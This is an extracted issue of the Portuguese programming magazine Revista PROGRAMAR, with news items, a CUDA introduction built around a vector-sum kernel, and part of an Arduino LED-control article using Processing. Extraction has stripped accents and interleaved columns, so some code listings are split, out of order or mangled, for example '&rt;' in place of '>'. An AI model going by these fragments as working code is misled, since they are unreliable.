Professional Documents
Culture Documents
EQUIPA PROGRAMAR
Coordenador Antnio Santos Editor Antnio Santos Design Srgio Alves Twitter: @scorpion_blood Redaco Antnio Cunha David Sopas Edgar Santos Fernando Martins Nuno Santos Paulo Morgado Rita Peres Srgio Ribeiro Staff Ana Barbosa Antnio Cunha Antnio Santos Antnio Silva Fbio Domingos Fernando Martins Jorge Paulino Sara Santos Contacto revistaprogramar@portugal-aprogramar.org Website http://www.revista-programar.info ISSN 1 647-071 0
A revista PROGRAMAR um projecto voluntrio sem fins lucrativos. Todos os artigos so da responsabilidade dos autores, no podendo a revista ou a comunidade ser responsvel por alguma impreciso ou erro. Para qualquer dvida ou esclarecimento poder sempre contactar-nos.
NDICE
TEMA DE CAPA
7 Introduo Programao em CUDA (Patricio Domingues)
A PROGRAMAR
13 16 18 28 Accionamento de Led e Arduino Atravs de Interface Grfica em Processing (Nuno Santos) PostgreSQL como alternativa de SGBD (Ricardo Trindade) Custo Efetivo de uma Soluo na Nuvem em Ambiente Windows Azure (Edgar Santos) Rpido e bem? A programao web tem. (Srgio Laranjeira)
COLUNAS
32 45 46 Visual (NOT) Basic - Organismos! Do zero ao mercado (2/2) (Srgio Ribeiro) Enigmas de C#: foreach (Paulo Morgado) Core Dump: Core Dump - IT em Tempos de Crise (Fernando Martins)
ANLISES
49 50 Introduo ao Design de Interfaces (Srgio Alves) Exerccios em Java Algoritmia e Programao Estruturada (Carlos Jos Dias)
NO CODE
52 55 57 59 62 Viagem da Informao (Rita Peres) Camaleo! De que cor? (Sara Santos) Verifica regularmente os ficheiros JavaScript do seu site? (David Sopas) Entrevista a Tiago Andrade e Silva Projecto em Destaque na Comunidade Portugal a Programar : Taggeo
EVENTOS
08 Dez 2012 08 Dez 2012 18 Dez 2012 26 Jan 2013 34 Reunio Presencial NetPonto Meetup Wordpress Porto XXIX Encontro da comunidade SQLPORT 35 Reunio Presencial NetPonto
Para mais informaes/eventos: http://bit.ly/PAP_Eventos. Divulga os teus eventos para o email eventos@portugal-a-programar.pt
NOTICIAS
SDK do Android 4.2 j est Windows 8 Store com novas disponvel aplicaes portuguesas
A Google j disponibilizou o kit de desenvolvimento da verso 4.2 do sistema operativo mvel Android. As ferramentas permitem comunidade de programadores desenvolver aplicaes que corram naquela verso da plataforma, que a mais usada em smartphones por todo o mundo. O Android 4.2 foi apresentado pela Google no passado dia 29 de outubro, data de apresentao dos novos Nexus, que fazem as honras de estreia desta verso renovada do Jelly Bean. A mais recente verso do Android integra melhorias ao nvel da performance, que iro ter impacto nas aplicaes, que graas a esse upgrade tero condies para assegurar uma melhor performance. Outra novidade com interesse para os programadores , por exemplo, a possibilidade de desenvolver widgets para o ecr de bloqueio do dispositivo. Na perspetiva do utilizador, entre as novidades mais relevantes da atualizao ao sistema operativo esto a possibilidade de definir diferentes perfis de utilizao personalizados num mesmo equipamento. As novas funcionalidades associadas cmara tambm so interessentes e permitem fazer fotografias de 360 graus, tornando parte integrante do sistema operativo uma funcionalidade que j era disponibilizada por vrias aplicaes. O SDK deste renovado Jelly Bean pode ser descarregados no site para programadores da Google. Escrito ao abrigo do novo Acordo Ortogrfico Fonte: Tek Sapo. A Microsoft Portugal anunciou a disponibilizao de 18 novas apps portuguesas na loja de aplicaes do Windows 8. No dia de apresentao do novo sistema operativo a empresa j tinha revelado algumas aplicaes de parceiros nacionais, e na altura tinha garantido que mais estavam a caminho. As promessas da Microsoft cumpriram-se e passado um ms, mais 18 aplicaes made in Portugal juntam-se ao ecossistema de apps do Windows 8, que atualmente tem perto de 20 mil softwares dedicados ao novo sistema operativo. A categoria de aplicaes relacionadas com informao e meios de comunicao so as mais representadas neste novo leque de apps disponibilizadas. Banca SAPO, Brisa Info Trnsito, Informao para Investidores, Notcias Palco Principal, Sbado e Record so as edies que chegam at aos dispositivos com Windows 8. A app Banco Esprito Santo do BES e a Mquina de Poupana do Montepio Geral tambm passam a estar disponveis na loja de aplicaes. Existem em programas mais virados para o entretenimento como o EatOut que d informaes sobre os restaurantes populares de uma localizao ou como o Backgroud Wallpapers HD, que permite ao utilizador aceder a um grande conjunto de imagens que podem ser usadas para personalizar o dispositivo. Em comunicado de imprensa a Microsoft revela ainda que no incio de dezembro vai apresentar duas novas aplicaes desenvolvidas em Portugal e que so "pioneiras a nvel mundial". A empresa est empenhada em fomentar o desenvolvimento de novos softwares para o Windows 8 e para isso promoveu uma maratona de 48 horas para o desenvolvimento de aplicaes a meio de novembro, alm de estar a preparar novas verses das iniciativas App Me Up e App VIP, esta ltima que dar oportunidade aos programadores de ganharem dispositivos equipados com Windows 8 e Windows Phone 8.
NOTICIAS
Codebits VI
A sexta edio do Sapo Codebits acabou h pouco mais de uma semana e ainda deve estar bem recente na cabea dos 800 participantes. Mas para aqueles que no participaram ou no tiveram oportunidade de ir, fica aqui um resumo dos momentos marcantes do maior evento de programao a nvel nacional. Na manh do dia 15 j a fila se prolongava porta da Sala Tejo do Pavilho Atlntico. As dezenas de palestras e workshops bem como o "peso" do nome de alguns oradores, como Mitch Altman, Diogo Ferreira e Ricardo Cerqueira, aliadas s diferentes competies que aconteceram durante os trs dias moveram centenas de participantes. Alm de palestras, o palco principal foi o local onde a PT apresentou algumas novidades, que funcionaram como ponto de partida para o incio oficial do Codebits e que pretendiam inspirar algumas equipas a desenvolverem ideias relacionadas com os projetos anunciados. Foi anunciado, por exemplo, um renovado sistema de Meo Kanal, alm da disponibilidade do servio para mais utilizadores nas prximas semanas, chegando aos subscritores do Meo Satlite e aos utilizadores que tm iPad atravs de uma aplicao mvel. Para que os participantes pudessem trabalhar "em condies" a PT disponibilizou ferramentas de desenvolvimento, que alm da plataforma Meo, permitiam ainda desenvolver apps para o servio CloudPT, anunciado semanas antes mas que voltou a estar em destaque no Codebits. Mais novidades chegaram atravs dos responsveis do Sapo, que atravs da iniciativa conjunta com as universidades portuguesas conhecida como Sapo Labs, apresentou o projeto "o mundo numa rede" com a agncia Lusa e anunciou mais uma parceria, desta feita com a Universidade Nova de Lisboa. O Sapo Codebits 2012 deu ainda a conhecer aos participantes algumas das principais tendncias atuais do mundo tecnolgico. A rea da impresso 3D esteve a cargo de Erik de Bruijn e durante trs dias o holands e a Ultimaker reproduziram vrias objetos tridimensionais que foram espantando os visitantes do espao Hardware Den. O micro computador Raspberry Pi, da fundao com o mesmo nome, foi representado por Rob Bishop, o nico empregado a tempo inteiro da marca e evangelista do produto. Durante dois dias Rob Bishop, que deu uma entrevista ao TeK, foi o "mestre" de cerca de 120 "aprendizes" que conheceram novas formas de tirar um proveito do computador do tamanho de um carto de crdito e com um preo reduzido. A organizao do evento equilibrou a balana do avano tecnolgico com a presena do Arcade Man e das suas consolas de arcada em recuperao. Dos 92 projetos inscritos, nem todos conseguiram convencer o jri do evento e os restantes participantes que tambm escolheram entre si os melhores projetos. Os grandes vencedores acabaram por ser o Crowd Sound, que faz uso do Raspberry Pi e da CloudPT para substituir as tradicionais jukeboxs, e o Konnect, projeto onde o Kinect da Microsoft foi usado como interprete de linguagem gestual. Ficou ainda a promessa de que em 2013 o Codebits est de volta e com mais fora: o concurso de programao vai viajar at ao outro lado do Atlntico para uma primeira edio no Brasil.
TEMA DE CAPA
Introduo Programao em CUDA
TEMA DA CAPA
Introduo Programao em CUDA
Nos ltimos anos, as placas grficas (GPU Graphical Processing Unit) ganharam relevncia no mbito da computao paralela. De facto, os mais recentes modelos da NVIDIA e da AMD/ATI dois dos maiores construtores de placas grficas tm na ordem do milhar de ncleos de processamento, core na designao anglo-saxnica. Exemplo disso a GPU NVIDIA GTX 680 que tem 1536 ncleos, estando creditada com um desempenho mximo (terico) de 3.1 TFLOPS em clculo de vrgula flutuante com preciso simples, sendo que um TFLOPS corresponde a 1012 operaes de vrgula flutuante por segundo. Contudo, do ponto de vista de computao paralela, de pouco serve a existncia de milhares de cores se o seu uso estiver limitado somente produo e tratamento de grficos. Foi pois a pensar na comunidade de computao paralela e no potencial mercado que essa representa, que a NVIDIA lanou em Novembro de 2006, a verso 1.0 da plataforma Compute Unified Device Architecture (CUDA). Embora limitado s GPU da NVIDIA, as sucessivas verses de CUDA tornaram possvel o uso de GPU para o desenvolvimento e execuo de computao paralela de larga escala. Em alguns cenrios de computao tratamento de imagens e video, processamento de dados, aplicaes bioinformticas, etc. as GPU proporcionam velocidades de execuo muito mais rpidas do que as alcanadas pelos processadores (CPU). Neste artigo introduzem-se os conceitos bsicos de programao paralela para a plataforma CUDA. Paralelismo na GPU A thread a entidade ativa na GPU, a que executa as instrues do cdigo. O paralelismo de uma GPU baseia-se na existncia simultnea de largos milhares de threads, umas em execuo (cada core executa uma thread), outras a aguardarem a sua vez, seja por no existirem cores disponveis ou porque um pedido de acesso memria efetuado por essas threads ainda no est concludo. Apesar do mesmo nome, as threads executadas numa GPU diferem bastante das threads que existem no contexto de um processo em execuo no CPU. A principal caratersticas das threads de GPU que executam um mesmo cdigo, variando para cada uma delas os dados em que operam. Ou seja, executam as mesmas instrues sobre dados diferentes. Este modelo designa-se por Single Instruction Multiple Threads (SIMT). Por exemplo, considere-se que se pretende somar dois vetores A e B com 32 inteiros cada, por forma a obter como resultado um vetor soma S. Considere-se ainda que se dispe de 32 threads, cada uma identificada por um inteiro distinto que varia entre 0 e 31. Na abordagem CUDA, cada thread ir proceder ao clculo da soma dos elementos dos vetores A e B cujo ndice seja igual ao identificador da thread. Assim, a thread com identificador 0 calcular A[0]+B[0], guardando o resultado em S[0], a thread 1 calcular A[1]+B[1] escrevendo o resultado em S[1], e assim sucessivamente. Considerando que as 32 threads executam em simultneo, todo o vetor soma S ser calculado simultaneamente. nessa metodologia paralela que assenta o CUDA e a execuo em GPU. Num contexto no paralelo, como o do CPU, o clculo do vetor S sequencial, requerendo um ciclo que itera e soma sucessivamente cada elemento de ndice i (entre 0 e 31) dos vetores A e B.
TEMA DA CAPA
INTRODUO PROGRAMAO EM CUDA
contedo do kernel, bem como o significado dos identificadores blockIdx.x, blockDim.x, gridDim.x e threadIdx.x ser explicado mais adiante. __global__ void somaVetores(int *a,int *b,int *s,int n) { int tid= blockIdx.x*blockDim.x+threadIdx.x; int deslocamento = gridDim.x*blockDim.x;
Listagem 1: Kernel somaVetores ainda sem cdigo
repetidos entre blocos diferentes, existindo pois uma thread com ndice 0 em cada bloco da geometria de execuo, uma thread com ndice 1 e assim sucessivamente. Para alm dos identificadores de bloco (blockIdx) e de thread (threadIdx), o CUDA disponibiliza o identificador blockDim que devolve o tamanho do bloco, tamanho esse medido em threads. No exemplo considerado, blockDim.x igual a 16 correspondendo s 16 threads que existem por bloco (blockDim.y e blockDim.z so ambos iguais a um dado a geometria ser unidimensional). O CUDA disponibiliza ainda o identificador gridDim que mede o nmero de blocos nas vrias dimenses. No exemplo, gridDim.x 2 correspondendo aos dois blocos. A Figura 1 ilustra os dois blocos e 16 threads por blocos resultantes da geometria de execuo <<<2,16>>>.
blockIdx.x = 0 0 1 ... 15 0 1 blockIdx.x = 1 ... 15
Quando compilado, o cdigo de um kernel transformado pelo compilador CUDA (nvcc) em instrues PTX (Parallel Thread eXecution) que so executadas pelas GPU que suportam CUDA, isto , praticamente todas as GPU da NVIDIA produzidas desde 2007. Para alm da palavrachave __global__, uma outra palavra, identifica cdigo GPU: __device__. A diferena entre ambas que o cdigo identificado com __global__ permite que seja chamado pelo CPU, sendo pois um ponto de entrada para execuo na GPU, ao passo que cdigo __device__ apenas pode ser chamado a partir de cdigo da GPU, seja esse cdigo um kernel ou uma outra funo tambm ela identificada com __device__. Execuo de um kernel No CUDA, a chamada para execuo de um kernel na GPU efetuada atravs do operador <<<...>>> na forma NomeKernel<<<GeoBlocos,GeoThreads>>> que define a grelha de execuo em blocos e em threads. Assim, uma grelha de execuo contm blocos, sendo que cada bloco contm threads. O parmetro GeoBlocos indica a geometria de blocos pretendidas. Por sua vez, o parmetro GeoThreads define, para cada bloco, a organizao geomtrica das threads. Importa notar que cada bloco estanque em relao aos outros blocos, significando que as threads pertencentes a um bloco apenas podem sincronizar com outras threads pertencentes ao mesmo bloco. No caso mais simples, GeoBlocos e GeoThreads tm apenas uma dimenso, podendo ser representados por nmeros inteiros. Por exemplo, a chamada <<<2,16>>> leva a que o kernel seja executado por 2 blocos distintos, cada bloco com 16 threads, perfazendo um total de 32 threads. No cdigo de um kernel, cada bloco identificado pelo ndice numrico guardado no identificador CUDA blockIdx.x, que no exemplo <<<2,16>>> varia entre 0 (1 bloco) e 1 (2 bloco). O campo .x designa a dimenso x. Existem ainda os campos .y (2 dimenso) e .z (3 dimenso) mas neste caso, o valor de ambos sempre zero, dado que o kernel estar a ser executado com uma geometria unidimensional. Similarmente, o ndice numrico de cada thread est acessvel atravs do identificador threadIdx.x que, para o exemplo em apreo, varia entre 0 (primeira thread) e 15 (ltima thread). necessrio ter em ateno que os identificadores de threads so
Clculo de ndices no Kernel somaVetores No caso do kernel somaVetores necessrio assegurar que todos os elementos dos vetores A e B so processados. Para alm desta premissa bsica, procurase ainda que exista uma distribuio uniforme de trabalho pelas threads, de modo a que todas as threads processem um igual nmero de elementos dos vetores A e B. De facto, a distribuio uniforme de trabalho potencia um melhor aproveitamento do paralelismo. Uma abordagem relativamente simples distribuio do processamento dos elementos de vetores por threads assenta no clculo de um ndice inicial, distinto para cada thread. Esse ndice representado pela varivel inteira tid do cdigo do kernel somaVetores, sendo calculado com recurso ao produto do tamanho do bloco (blockdim.x) pelo ndice do bloco corrente (blockIdx.x) acrescido do identificador de thread (threadIdx.x). Resumindo, o valor inicial do ndice tid calculado da seguinte forma: tid = blockIdx.x*blockDim.x+threadIdx.x Facilmente se constata que no primeiro bloco de threads (bloco com blockIdx.x igual a 0), tid variar entre 0 (1 thread do bloco) e 15 (16 thread do bloco), e entre 16 e 31 no bloco 1 (blockIdx.x igual a 1), garantindose pois uma sequncia de ndices entre 0 e 31. Desta forma, quando estiver em execuo, cada um dos primeiros 32 elementos do vetor S ser calculado por cada uma das 32 threads distintas. E como que uma thread determina o ndice do elemento seguinte que tem que processar? Simplesmente somando ao valor do ndice corrente (tid), o deslocamento correspondente ao nmero total de threads em execuo. Esse total de
TEMA DA CAPA
INTRODUO PROGRAMAO EM CUDA
threads dado pelo produto do nmero total de blocos da execuo (gridDim.x) pelo nmero de threads por bloco (blockDim.x), ou seja: deslocamento = gridDim.x * blockDim.x (...) int deslocamento = gridDim.x*blockDim.x; while( tid < n){ (...)
Listagem 2: Clculo do ndice do elemento seguinte
cdigo de erro pode ser obtida atravs da funo cudaGetErrorString. O cdigo da Listagem 4 exemplifica a deteo de erro em CUDA. Por uma questo de espao, o restante cdigo apresentado neste artigo no processa o cdigo de retorno das funes CUDA, no detetando pois situaes de erro. () cudaError_t err; err = cudaMalloc((void**)&dev_A, N * sizeof(int)); if( err != cudaSuccess){ fprintf( stderr, Erro: %s\n,cudaGetErrorString (err)); } ()
Listagem 4: Deteo de erro numa chamada CUDA
Este processo de clculo e processamento do ndice seguinte repetido, em ciclo, pela thread at que o ndice corrente da thread seja igual ou superior ao nmero de elementos dos vetores a somar, isto , n. A Listagem 2 destaca a parte do kernel afeta ao clculo do ndice seguinte. O cdigo completo do kernel somaVetores est na Listagem 1. Memria CPU vs memria GPU Dado ser executado na GPU, um kernel apenas pode aceder memria da GPU. Deste modo, no caso do kernel somaVetores, os vetores A,B e S que so passados como parmetros devem corresponder a zonas de memria do GPU. De facto, um erro passar a um kernel vetores alocados na memria RAM do CPU, pois esses endereos no so vlidos na GPU, dado que os espaos de endereamentos CPU e GPU so diferentes. Para a alocao de memria no espao de endereamento da GPU, o CUDA disponibiliza a funo cudaMalloc que deve ser chamada no cdigo executado pelo CPU. Tal como sucede com a alocao de memria no CPU via a funo malloc, quando um determinado bloco de memria previamente alocado atravs de cudaMalloc deixa de ser necessrio, deve ser libertado, recorrendose funo cudaFree que tem um comportamento similar funo free do C. int *dev_A, *dev_B, *dev_S; int N=32; cudaMalloc(&(dev_A), N*sizeof(int)); cudaMalloc(&(dev_B), N*sizeof(int)); cudaMalloc(&(dev_S), N*sizeof(int));
Listagem 3: Alocao de memria da GPU via cudaMalloc
Aps a alocao na memria da GPU e antes que se possa lanar a execuo do kernel somaVetores, tornase necessrio atribuir os valores de entrada aos vetores A e B, que no cdigo em anlise esto representados por dev_A e dev_B. Por se tratarem de vetores que existem na memria da GPU, a atribuio de valores aos vetores no pode ser feita diretamente a partir do CPU. Para o efeito, necessrio, para cada vetor, criar um vetor no CPU (atravs da funo malloc do C) e inicializ-lo com os valores pretendidos. De seguida, copia-se cada um dos vetores do CPU para dev_A e dev_B atravs de uma outra funo: cudaMemcpy. Como o nome sugere, a funo cudaMemcpy copia uma determinada quantidade de bytes entre uma zona da memria do CPU e a memria da GPU. O primeiro parmetro indica o endereo de destino, o segundo parmetro indica o endereo origem, o terceiro parmetro define o nmero de bytes a copiar. Finalmente, o quarto e ltimo parmetro define o sentido da cpia, sendo cudaMemcpyHostToDevice para cpia da memria do CPU para a GPU e cudaMemcpyDeviceToHost para o sentido contrrio. Cdigo completo J nos possvel completar o cdigo do programa somaVetores.cu (Listagem 5). No cdigo da funo main, que executado pelo CPU, procede-se (1) alocao, na memria do CPU, dos vetores host_A, host_B e host_S, (2) preenchendo-se os vetores host_A e host_B com os valores que se pretendem somar, neste caso com nmeros inteiros de 1 at N. Seguidamente, (3) alocamse na memria da GPU os vetores, dev_A, dev_B e dev_S, procedendose depois (4) copia dos valores de host_A e host_B respetivamente para dev_A e dev_B atravs da funo cudaMemcpy. Esto reunidas as condies para a execuo do kernel somaVetores na GPU, efetuada via somaVetores<<<2,16>>> (dev_A,dev_B,dev_S,N). Aps a execuo do kernel, procedese copia do vetor de resultados dev_S para o vetor host_S e mostram-se o contedo dos vetores parcelas, host_A e host_B, bem como do vetor soma host_S por forma a verificar a correo do resultado. Finalmente, procede-se ao libertar da memria, atravs das funes free e cudaFree, consoante se trate de memria do CPU ou da GPU.
A Listagem 3 ilustra a alocao de memria da GPU para os vetores A, B e S. O prefixo dev_ empregue nos identificadores A, B e S destina-se a vincar que a memria corresponde GPU (device). importante notar que a funo cudaMalloc apresenta uma interface diferente da funo malloc do C. Assim, cudaMalloc recebe o endereo do ponteiro que, em caso de sucesso na alocao, ficar a apontar para a memria alocada na GPU. O sucesso da execuo da funo cudaMalloc, como de muitas outras funes CUDA, avaliado atravs do valor devolvido pela funo: o valor cudaSuccess significa que a execuo foi bem sucedida, caso contrrio ocorreu erro e o valor devolvido corresponde ao cdigo de erro. Uma mensagem com o significado do 9
TEMA DA CAPA
INTRODUO PROGRAMAO EM CUDA
Apesar de se lanar o kernel na configurao <<<2,16>>>, o cdigo est preparado para ser executado com qualquer outra configurao (unidimensional) vlida. Por exemplo, <<<8,32>>> ou <<<16,64>>>. Por razes de eficincia relacionadas com o escalonamento interna das threads recomendado que o nmero de threads por blocos seja sempre mltiplo de 32. Notese ainda que o cdigo est preparado para qualquer valor de N positivo (na listagem empregue N=2048). Uma observao importante: dado a execuo do kernel ocorrer na GPU, o CPU prossegue a execuo logo aps o lanamento do kernel, no esperando pois pela concluso do kernel. Este assincronismo no causa problemas de concorrncia, pois uma funo CUDA que envolva a GPU aguarda sempre que a anterior funo CUDA tenha terminado (as funes CUDA so sncronas entre si). Assim, quando se procede cpia do vetor soma dev_S para o vetor host_S, a funo cudaMemcpy apenas efetua a cpia quando a GPU tiver efetivamente terminado a execuo do kernel. #include <stdio.h> #include <cuda.h> __global__ void somaVetores(int *a,int *b,int *s,int n){ int tid=blockDim.x*blockIdx.x + threadIdx.x; int deslocamento = gridDim.x * blockDim.x; while(tid < n){ s[tid]=a[tid] + b[tid]; tid += deslocamento; } } int main(void){ int *host_A, *host_B, *host_S; int *dev_A, *dev_B, *dev_S; int N=2048; host_A = (int*) malloc(N*sizeof(int)); host_B = (int*) malloc(N*sizeof(int)); host_S = (int*) malloc(N*sizeof(int)); /* aloca memria na GPU */ cudaMalloc((void**)&dev_A, N * sizeof(int)); cudaMalloc((void**)&dev_B, N * sizeof(int)); cudaMalloc((void**)&dev_S, N * sizeof(int)); /* Inicializa vetores host_A e host_B */ for (int i=0; i<N; i++){ host_A[i] = i; host_B[i] = i; } cudaMemcpy(dev_A,host_A,N*sizeof(int), cudaMemcpyHostToDevice); cudaMemcpy(dev_B,host_B,N*sizeof(int), cudaMemcpyHostToDevice); somaVetores<<<2,16>>>(dev_A, dev_B, dev_S, N); /* Copia resultados GPU -> CPU */ cudaMemcpy(host_S, dev_S, sizeof(int)*N, cudaMemcpyDeviceToHost); for(int i=0;i<N;i++){ printf("[%d]: %d + %d = %d\n",i, host_A[i],host_B[i],host_S[i]); } cudaFree(dev_A); cudaFree(dev_B); cudaFree(dev_S); free(host_A); free(host_B); 10 free(host_S); return 0; }
Listagem 5: cdigo completo do somaVetores.cu
Compilao e execuo A compilao do programa somaVetores.cu efetuada atravs do programa nvcc que o compilador de CUDA da NVIDIA. O nvcc requer a existncia de um compilador externo de C que chamado para efetuar a compilao do cdigo que se destina a ser executado no CPU. Em ambiente Windows, o compilador externo o Microsoft Visual Studio, ao passo que em Linux empregue o gcc. O CUDA suporta ambientes Windows, Linux e MacOS X. A linha de comando para compilao do programa somaVetores a seguinte: nvcc somaVetores.cu -o somaVetores.exe Se tudo estiver correto, ser criado o ficheiro executvel somaVetores.exe que pode ser executado da forma tradicional atravs da linha de comando. Geometria de execuo multidimensional J indicamos que a geometria de execuo de um kernel pode ser multidimensional. De facto, o CUDA suporta geometria de execuo at trs dimenses, tanto a nvel dos blocos, como ao nvel das threads. Para possibilitar a definio de geometrias multidimensionais, o CUDA disponibiliza variveis do tipo dim3. A Listagem 6 exemplifica a execuo do kernel idx2D numa grelha de 3x2 blocos, sendo cada bloco composto por uma geometria 4x4 de threads. Assim, cada um dos 6 blocos ter 16 threads, perfazendo um total de 96 threads. O kernel no efetua clculos, apenas mostra, para cada thread, os identificadores threadIdx e blockIdx nas dimenses .x e .y. Dado que o kernel faz uso da funo printf, o cdigo requer uma GPU com capacidade computacional igual ou superior a 2 (compute capability >= 2.x), sendo necessrio acrescentar a opo arch=sm_20 na compilao do cdigo. Adicionalmente, para garantir que a informao enviada pelo printf do kernel efetivamente mostrada, torna-se necessrio sincronizar o CPU com a GPU, chamandose para o efeito a funo cudaDeviceSynchronize logo aps o lanamento do kernel via operador <<<...>>>. Uma viso parcial da sada da execuo do programa idx2D mostrado na Listagem 7. nvcc idx2D.cu arch=sm_20 o idx2D.exe #include <stdio.h> #include <cuda.h> __global__ void idx2D(void){ printf("blockIdx=(%d,%d),gridDim=(%d,%d)\n", blockIdx.x,blockIdx.y,threadIdx.x,threadIdx.y); } int main(void){ dim3 Blocks2D(3,2); dim3 Threads2D(4,4);
TEMA DA CAPA
INTRODUO PROGRAMAO EM CUDA
idx2D<<<Blocks2D,Threads2D>>>(); cudaDeviceSynchronize(); return 0; } necessrio ter em considerao as muitas subtilezas decorrentes da arquitetura dos sistemas informticos. Por exemplo, importante numa aplicao CUDA que se minimize as transferncias de dados entre CPU e GPU (independentemente do sentido) por serem relativamente lentas em virtude de ocorrer atravs do bus PCIe 2.0 cuja velocidade mxima (terica) de transferncia da ordem dos 8 GB/s (a mais recente arquitetura de GPU NVIDIA, denominada kepler, faz uso do PCIe 3.0 que tem uma velocidade mxima de 16 GB/s). Outra ateno a ter na procura de desempenho um uso correto da hierarquia de memria do prprio GPU, pois as vrias memrias (registos, partilhada, global, local, constantes e texturas) tm latncias e larguras de banda diferentes. Um uso ineficiente da memria pode comprometer seriamente o desempenho de uma aplicao CUDA. Saber mais Esta artigo abordou de forma resumida a programao em CUDA. Aos leitores interessados em CUDA recomenda-se a leitura do livro Programming Massively Parallel Processors: A Hands-on Approach de David B. Kirk, Wen-mei W. Hwu, Morgan Kaufmann, 1 edio, 2010 e, numa fase mais avanada, do conseguido guia tcnico CUDA C Best Practices Guide da NVIDIA. Merece ainda meno a vasta documentao sobre CUDA existente no stio da NVIDIA em http:// docs.nvidia.com. Download do cdigo-fonte dos exemplos no artigo
Listagem 6: cdigo do programa idx2D.cu
o CUDA suporta geometria de execuo at trs dimenses, tanto a nvel dos blocos, como ao nvel das threads.
Notas finais A relativa simplicidade do CUDA permite a fcil criao de programas para serem executados em GPU da NVIDIA. Contudo, embora programar em CUDA seja relativamente acessvel para quem tenha experincia com a linguagem C, extrair desempenho de uma GPU bem mais difcil. De facto, obter desempenho com GPU, requer no s a adaptao dos algoritmos para um ambiente paralelo, como tambm
AUTOR
Escrito por Patrcio Domingues Doutorado em Engenharia Informtica e professor do Departamento de Eng Informtica na Escola Superior de Tecnologia e Gesto (ESTG) do Instituto Politcnico de Leiria (IPLeiria). Leciona, entre outras, a disciplina de Computao de Alto Desempenho ao Mestrado em Engenharia Informtica Computao Mvel, onde aborda tpicos como CUDA e OpenCL. ainda responsvel pelo CUDA Teaching Center da ESTG/IPLeiria.
11
A PROGRAMAR
Accionamento de Led e Arduino Atravs de Interface Grfica em Processing PostgreSQL como alternativa de SGBD Custo efetivo de uma Soluo na Nuvem em Ambiente Windows Azure Rpido e bem? A programao web tem!
A PROGRAMAR
Accionamento de Led e Arduino atravs de Interface Grfica em Processing
Introduo: Em continuao dos artigos usando o micro-controlador Arduino que tenho vindo a escrever nas edies anteriores, apresento nesta edio um artigo que aborda uma das primeiras experincias que o utilizador pode ter com a plataforma Arduino, que o simples accionamento de um ou mais LED. O accionamento e controlo dos leds muito simples pelo que neste artigo irei aprofundar um pouco mais e criar uma interface grfica usando Processing que ir permitir controlar o LED usando um boto clicvel pelo rato. Esquema Elctrico: Ligar um LED ao Arduino um dos projectos mais fceis e indicados para quem est a comear, sendo que necessrio seguir um esquema elctrico muito simples para colocar o LED em funcionamento. O esquema elctrico que elaborei para este projecto foi o seguinte: No basta programar uma pequena aplicao grfica para que possamos controlar as aces do Arduino, necessrio criar uma ponte entre o Arduino e a aplicao desenvolvida em Processing. Basicamente A aplicao em Processing ir produzir um Output que ser recebido e interpretado pelo Arduino. Para saber-mos exactamente o output produzido necessrio definir valores de Output especficos no Arduino para que possamos controla-los na aplicao em Processing. No exemplo seguinte mostra como foi definida uma varivel estado que ir ser a responsvel por controlar o estado do LED, ou seja, ligado ou desligado: void loop() { //Verificar se a porta Serial est disponvel if (Serial.available() > 0) { // O estado ser igual ao valor lido do Output da //App em Processing estado = Serial.read(); Serial.print("Estado: "); Serial.println(estado); //Se o valor recolhido for = 111 o LED est //ON if (estado == 111) { digitalWrite(ledPin, HIGH); } //Se o valor recolhido for = 102 o LED est //OFF if (estado == 102) { digitalWrite(ledPin, LOW); } } Tendo definido a varivel estado que vai receber um de dois valores retornados atravs da aplicao com interface grfica em Processing, podemos prosseguir e construir todo o cdigo para o Arduino, que muito simples como podem ver: //Definir o Pino de Output do Arduino o Pino 13 int ledPin = 13; int estado; void setup() { Serial.begin(9600); pinMode(ledPin, OUTPUT); } void loop() { if (Serial.available() > 0) { estado = Serial.read(); Serial.print("Estado: "); Serial.println(estado);
(Figura 1 - esquema elctrico led) Como podem ver apenas necessrio conectar o polo positivo do LED que geralmente a perna mais longa ao Pino 13 do Arduino enquanto que a perna mais curta do LED deve ser conectado ao GND do arduino. Muito simples de implementar mesmo para quem est a dar os primeiros passos. Coneco entre o Arduino e a Aplicao em Processing:
13
A PROGRAMAR
Accionamento de Led e Arduino atravs de Interface Grfica em Processing
if (estado == 111) { digitalWrite(ledPin, HIGH); } if (estado == 102) { digitalWrite(ledPin, LOW); } } Com o cdigo acima indicado temos toda a parte lgica que o Arduino necessita para desempenhar a funo pretendida. } } Desenho para Interface Grfica em Processing: O desenho da interface de switch On e Off do LED conectado ao Arduino no necessitava de ser muito complexo e visualmente poludo pelo que tentei implementar de uma forma simples. } porta.write(102);
(Figura - Interface_Grafica_Acc_Led_1_01) A implementao da interface grfica acima apresentada resultou do seguinte cdigo Processing: //Importar a biblioteca Serial de modo a //obter-mos acesso aos dados //que circulam na porta Serial import processing.serial.*; //Definio de variveis PImage Led; Serial porta; int button1 = 0; int estado = 0; void setup() { //Definir o tamanho da janela size(400,400); Led = loadImage("Led.jpg"); background(255); porta = new Serial(this, "COM3", 9600); } void draw() { image(Led, 175, 25); rect(150, 250, 100, 100); redraw(); } void mouseClicked() { if (porta.available() &rt; 0) { } //Valor 111 Significa On estado = porta.read(); println(estado);
mouseClicked(): A funo mouseClicked() j faz parte das funes integradas em Processing e de um modo geral uma funo que chamada aps um boto do rato ter sido pressionado e libertado. Desta forma as aces que iro suceder aps o boto ter sido clicado so programadas dentro desta funo mouseClicked(). A sintaxe desta funo muito simples como podem ver no exemplo seguinte: Void mouseClicked() { //A expresso da condio do If responsvel //por delimitar a rea clickvel do boto If (mouseX &rt; 150 && mouseX < 250 && mouseY &rt; 250 && mouseY < 350) { porta.write(111); } If (mouseX &rt; 250 && mouseX < 350 && mouseY &rt; 350 && mouseY < 450) {
14
A PROGRAMAR
Accionamento de Led e Arduino atravs de Interface Grfica em Processing
